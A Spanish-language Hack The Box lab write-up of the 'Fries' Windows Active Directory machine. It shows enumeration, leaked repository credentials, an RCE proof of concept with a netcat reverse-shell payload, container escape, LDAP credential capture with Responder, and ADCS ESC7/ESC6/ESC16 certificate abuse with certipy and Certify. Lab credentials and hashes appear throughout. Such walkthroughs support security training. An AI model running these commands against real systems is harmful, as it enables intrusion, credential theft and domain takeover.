Fries ⭐

#htb #windows #ActiveDirectory #adcs #esc7 #esc16 #gmsa #winrm #writeup

start_auth fries.htb 10.129.244.72 d.cooper 'D4LE11maan!!'

Tratamos de loguearnos usando las credenciales por smb, ldap y kerberos sin éxito.

Encontramos dos webs, una en el puerto 80 y otra en el 443.

Ademas hay un Gitea en code.fries.htb

ffuf -u http://fries.htb -H "Host: FUZZ.fries.htb" -w /usr/share/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt  -mc all -ac -t 150

Encontramos usuarios

La versión no tiene vulns interesantes

Tratamos de fuzzear esta

gobuster dir -u http://fries.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt  -t 150 -k --no-error

Tenemos más nombres de usuarios

Solo queda la que es por https

Hay una notificación que dice que la aplicación está en modo configuración y que no te puedes loguear

Al loguearse recibimos este error

Parece que una cuenta de servicio está haciendo estas peticiones.

PWN: Password Web Manager , se trata de un servicio de gestión de contraseñas con ldap.

El problema es que necesitamos una contraseña para acceder al panel de configuración

Y si tratamos de bruteforcearla

Nos loguemos en el gitea con

d.cooper@fries.htb \ D4LE11maan!!

Tenemos el código fuente de la landing en un repo

git clone http://code.fries.htb/dale/fries.htb.git

Buscamos cosas en el repo

git diff --cached

git log --oneline --graph --all

Hacemos un diff entre primer y último commit

git diff be59cce 47b29c4

Y parece ser que se subió un .env

-DATABASE_URL=postgresql://root:PsqLR00tpaSS11@172.18.0.3:5432/ps_db
-SECRET_KEY=y0st528wn1idjk3b9a

Intentamos loguearnos por SSH con esas creds.

Vamos a hacernos un listado de posibles usuarios con los encontrados

/opt/kerbrute/kerbrute_linux_amd64 userenum --dc 10.129.244.72 -d fries.htb users.txt

Encontramos un subdominio

Entramos con las creds de d.cooper Y para acceder al servidor de fries metemos las creds previamente encontradas.

Buscamos en las tablas de las DBs

Podemos hacer RCE desde una consulta

La versión es vulnerable a RCE

https://github.com/Cycloctane/cve-2025-2945-poc/blob/main/exp.py

python3 exp.py --target-url http://db-mgmt05.fries.htb:80 --username 'd.cooper@fries.htb' --password 'D4LE11maan!!' --db-user 'root' --db-pass 'PsqLR00tpaSS11' --db-name 'gitea' --payload "__import__('os').system('ping 10.10.14.131')" --skip-version-check

python3 exp.py --target-url http://db-mgmt05.fries.htb:80 --username 'd.cooper@fries.htb' --password 'D4LE11maan!!' --db-user 'root' --db-pass 'PsqLR00tpaSS11' --db-name 'gitea' --payload "__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.131 4444 >/tmp/f')" --skip-version-check

Podemos conectarnos por ssh

svc \ Friesf00Ds2025!!

Tiene toda la pinta de que estamos en una NAT con el DC en la 192.168.100.2 , seguramente sea una máquina virtual donde se corren todos los dockers.

Está abierto el puerto 2049 y el 111 NFS

La escalada es viable de unas cuantas formas

Usamos copy fail para escalar

🔗 https://github.com/Juguitos/copy-fail.git

cat /root/user.txt

Modificamos la política del broker para bypassear el error

Añadimos esta línea

{"name":"allow_local_root","users":[""],"actions":[""]}

El único docker del que no sabemos nada es el de PWN

Podemos abrirnos una shell

docker exec -it f427ecaa3bdd /bin/bash

La configuración de PWN se suele encontrar así

find / -name "*PwmConfiguration*" 2>/dev/null

Nos pasamos los dos archivos de configuración a la máquina

Encontramos el hash de la contraseña de la página de configuración

cat PWM-backup.xml| grep config

rockon!

Una vez dentro del config manager podemos intentar descifrar la pass del usuario svc_infra

Pero también podemos cambiar el servidor ldap a nuestro servidor en texto plano y encender el responder

ldap://10.10.14.131:389

Veremos credenciales en texto plano

svc_infra \ m6tneOMAh5p0wQ0d

Podemos leer la pass de GMSA_CA_PROD$

GMSA_CA_PROD$ \ 5710cd97225e920cdc6badc919fc8c51

Tenemos acceso por winrm al DC

certipy find -vulnerable -u 'GMSA_CA_PROD$' -hashes ':5710cd97225e920cdc6badc919fc8c51' -dc-ip 10.129.244.72

ADCS es vulnerable a ESC7 , como podemos observar GMSA_CA_PROD$ tiene ManageCa

certipy ca -u 'GMSA_CA_PROD$' -hashes ':5710cd97225e920cdc6badc919fc8c51' -dc-ip 10.129.25.115 -ca 'fries-DC01-CA' -add-officer 'GMSA_CA_PROD$'

Habilitamos la plantilla SubCA

certipy ca -u 'GMSA_CA_PROD$' -hashes ':5710cd97225e920cdc6badc919fc8c51' -dc-ip 10.129.25.115 -ca 'fries-DC01-CA' -enable-template 'SubCA'

Solicitamos la creación del certificado usando la plantilla, esto nos tira permission denied

certipy req -u 'GMSA_CA_PROD$' -hashes ':5710cd97225e920cdc6badc919fc8c51' -dc-ip 10.129.25.115 -ca 'fries-DC01-CA' -template 'SubCA' -upn 'administrator@fries.htb'

Intentamos aprobar la creación del certificado, nos tira permiso denegado

certipy ca -u 'GMSA_CA_PROD$' -hashes ':5710cd97225e920cdc6badc919fc8c51' -dc-ip 10.129.25.115 -ca 'fries-DC01-CA' -issue-request '1'

Vamos a probar con certify.exe

evil-winrm -i 10.129.25.115 -u 'GMSA_CA_PROD$' --hash '5710cd97225e920cdc6badc919fc8c51'

Según la guía de Certify para ESC7 podemos habilitar ESC6, ESC11 y ESC16 aprovechando que tenemos ManageCA

🔗 https://github.com/GhostPack/Certify/wiki/4-‐-Escalation-Techniques

.\Certify.exe manage-ca --ca 'DC01.fries.htb\fries-DC01-CA' --esc6

Ahora si filtramos

.\Certify.exe enum-cas --ca 'DC01.fries.htb\fries-DC01-CA' --filter-vulnerable --hide-admins

Intentamos explotar ESC6 por separado

El problema que tenemos es que GMSA_CA_PROD$ no puede configurar la CA ni puede apuntarse en la plantilla de usuario porque no lo es.

certipy ca -u 'GMSA_CA_PROD$' -hashes ':5710cd97225e920cdc6badc919fc8c51' -dc-ip 10.129.244.72 -ca 'fries-DC01-CA' -add-officer 'svc_infra'

Habilitamos ESC6 y ESC16

.\Certify.exe manage-ca --ca 'DC01.fries.htb\fries-DC01-CA' --esc6

.\Certify.exe manage-ca --ca 'DC01.fries.htb\fries-DC01-CA' --esc16

Y ejecutamos ESC6 como el usuario svc_infra